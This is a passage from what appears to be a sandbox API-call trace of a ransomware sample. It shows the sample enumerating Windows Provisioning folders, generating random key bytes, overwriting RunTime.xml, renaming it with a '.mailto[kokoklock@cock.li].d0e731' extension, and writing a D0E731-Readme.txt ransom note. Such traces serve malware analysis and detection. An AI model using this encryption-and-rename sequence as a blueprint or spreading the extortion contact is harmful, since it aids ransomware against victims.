BaseAddress=0x34945f8) returned 1 [0084.062] RtlExitUserThread (Status=0x0) Thread: id = 1163 os_tid = 0xfb4 [0083.475] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3487800 [0083.475] wcscpy (in: _Dest=0x3487800, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0083.476] wcscat (in: _Dest=0x3487800, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" [0083.476] wcscat (in: _Dest=0x3487800, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" [0083.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349fd70 [0083.476] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x349fd70 | out: lpFindFileData=0x349fd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0458 [0084.061] wcscmp (_String1=".", _String2=".") returned 0 [0084.061] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x349fd70 | out: lpFindFileData=0x349fd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.061] wcscmp (_String1="..", _String2=".") returned 1 [0084.061] wcscmp (_String1="..", _String2="..") returned 0 [0084.061] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x349fd70 | out: lpFindFileData=0x349fd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0084.061] wcscmp (_String1="0__Power_Policy.provxml", _String2=".") returned 1 [0084.061] wcscmp (_String1="0__Power_Policy.provxml", _String2="..") returned 1 [0084.061] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xec) returned 0x3482810 [0084.061] wcscpy (in: _Dest=0x3482810, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0084.061] wcscat (in: _Dest=0x3482810, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" [0084.061] wcscat (in: _Dest=0x3482810, _Source="0__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" [0084.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482810, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9dc [0084.777] FindNextFileW (in: hFindFile=0x33e0458, lpFindFileData=0x349fd70 | out: lpFindFileData=0x349fd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e3557c, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x71e, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0084.777] FindClose (in: hFindFile=0x33e0458 | out: hFindFile=0x33e0458) returned 1 [0084.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349fd70) returned 1 [0084.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487800) returned 1 [0084.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3487418) returned 1 [0084.777] RtlExitUserThread (Status=0x0) Thread: id = 1164 os_tid = 0x106c [0083.476] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml")) returned 0x20 [0084.041] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 1 [0084.042] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0084.042] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x292bf83c | out: lpFileSize=0x292bf83c*=579) returned 1 [0084.042] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x23f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.042] ReadFile (in: hFile=0x9dc, lpBuffer=0x292bf810, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x292bf810*, lpNumberOfBytesRead=0x292bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.043] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d870 [0084.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d7d0 [0084.043] NtQuerySystemTime (in: CurrentTime=0x292bf7e8 | out: CurrentTime=0x292bf7e8*=132121176419297924) returned 0x0 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x6a881177 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xa8d1e272 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xa0b3b023 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x3e85583a [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x602048c4 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x4397f6b3 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xb099a804 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xebd6e21e [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xc84e86ac [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x400f2b5b [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x5571847b [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xe2f7427d [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xa44af4e2 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x18c41d3c [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xda891916 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xc0a74cad [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x21802698 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x9d8f7559 [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x99762f9a [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x64f1236f [0084.043] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xc9a92ca3 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xcb101cc7 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x1b6444d9 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xb577276d [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x19fa71fa [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x1c313c0d [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x716c6cd2 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xcb27b6f2 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x856c067d [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x6dbc4309 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0xbf7ed3f9 [0084.044] RtlRandom (in: Seed=0x292bf7f4 | out: Seed=0x292bf7f4) returned 0x3e842980 [0084.054] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.055] ReadFile (in: hFile=0x9dc, lpBuffer=0x348d230, nNumberOfBytesToRead=0x243, lpNumberOfBytesRead=0x292bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x292bf7e8*=0x243, lpOverlapped=0x0) returned 1 [0084.055] SetFilePointerEx (in: hFile=0x9dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x292bf7b0 | out: lpNewFilePointer=0x0) returned 1 [0084.055] WriteFile (in: hFile=0x9dc, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x243, lpNumberOfBytesWritten=0x292bf7e4, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x292bf7e4*=0x243, lpOverlapped=0x0) returned 1 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db90 [0084.055] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d820 [0084.055] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d820) returned 1 [0084.055] WriteFile (in: hFile=0x9dc, lpBuffer=0x342db90*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x292bf7e0, lpOverlapped=0x0 | out: lpBuffer=0x342db90*, lpNumberOfBytesWritten=0x292bf7e0*=0x20, lpOverlapped=0x0) returned 1 [0084.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db90) returned 1 [0084.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.056] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.056] WriteFile (in: hFile=0x9dc, lpBuffer=0x342d848*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x342d848*, lpNumberOfBytesWritten=0x292bf80c*=0x8, lpOverlapped=0x0) returned 1 [0084.056] WriteFile (in: hFile=0x9dc, lpBuffer=0x292bf824*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x292bf824*, lpNumberOfBytesWritten=0x292bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.056] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x292bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.056] WriteFile (in: hFile=0x9dc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x292bf80c*=0x6c, lpOverlapped=0x0) returned 1 [0084.057] WriteFile (in: hFile=0x9dc, lpBuffer=0x342d870*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x342d870*, lpNumberOfBytesWritten=0x292bf80c*=0x20, lpOverlapped=0x0) returned 1 [0084.057] WriteFile (in: hFile=0x9dc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x292bf80c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x292bf80c*=0x4, lpOverlapped=0x0) returned 1 [0084.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d870) returned 1 [0084.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d7f8) returned 1 [0084.057] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d848) returned 1 [0084.057] CloseHandle (hObject=0x9dc) returned 1 [0084.057] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x106) returned 0x34226e8 [0084.057] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" [0084.057] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0084.057] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.058] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.058] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0084.058] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml", dwFileAttributes=0x20) returned 0 [0084.058] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0084.058] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\" [0084.058] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\D0E731-Readme.txt" [0084.058] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\d0e731-readme.txt")) returned 0xffffffff [0084.058] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9dc [0084.059] WriteFile (in: hFile=0x9dc, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x292bf808, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x292bf808*=0x481, lpOverlapped=0x0) returned 1 [0084.060] CloseHandle (hObject=0x9dc) returned 1 [0084.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0084.060] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7958) returned 1 [0084.060] RtlExitUserThread (Status=0x1) Thread: id = 1165 os_tid = 0x130c [0083.476] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34878c8 [0083.476] wcscpy (in: _Dest=0x34878c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0083.476] wcscat (in: _Dest=0x34878c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0083.477] wcscat (in: _Dest=0x34878c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*" [0083.477] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x349ffd8 [0083.477] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x349ffd8 | out: lpFindFileData=0x349ffd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e0418 [0084.041] wcscmp (_String1=".", _String2=".") returned 0 [0084.041] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x349ffd8 | out: lpFindFileData=0x349ffd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.041] wcscmp (_String1="..", _String2=".") returned 1 [0084.041] wcscmp (_String1="..", _String2="..") returned 0 [0084.041] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x349ffd8 | out: lpFindFileData=0x349ffd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0084.041] wcscmp (_String1="0__Power_Controls.provxml", _String2=".") returned 1 [0084.041] wcscmp (_String1="0__Power_Controls.provxml", _String2="..") returned 1 [0084.041] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x3482718 [0084.041] wcscpy (in: _Dest=0x3482718, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0084.041] wcscat (in: _Dest=0x3482718, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0084.041] wcscat (in: _Dest=0x3482718, _Source="0__Power_Controls.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" [0084.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9d8 [0084.779] FindNextFileW (in: hFindFile=0x33e0418, lpFindFileData=0x349ffd8 | out: lpFindFileData=0x349ffd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53e95f21, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x168, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml", cAlternateFileName="")) returned 1 [0084.779] wcscmp (_String1="1__Power_Controls.provxml", _String2=".") returned 1 [0084.779] wcscmp (_String1="1__Power_Controls.provxml", _String2="..") returned 1 [0084.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xf0) returned 0x3483790 [0084.779] wcscpy (in: _Dest=0x3483790, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0084.779] wcscat (in: _Dest=0x3483790, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0084.779] wcscat (in: _Dest=0x3483790, _Source="1__Power_Controls.provxml" | out: 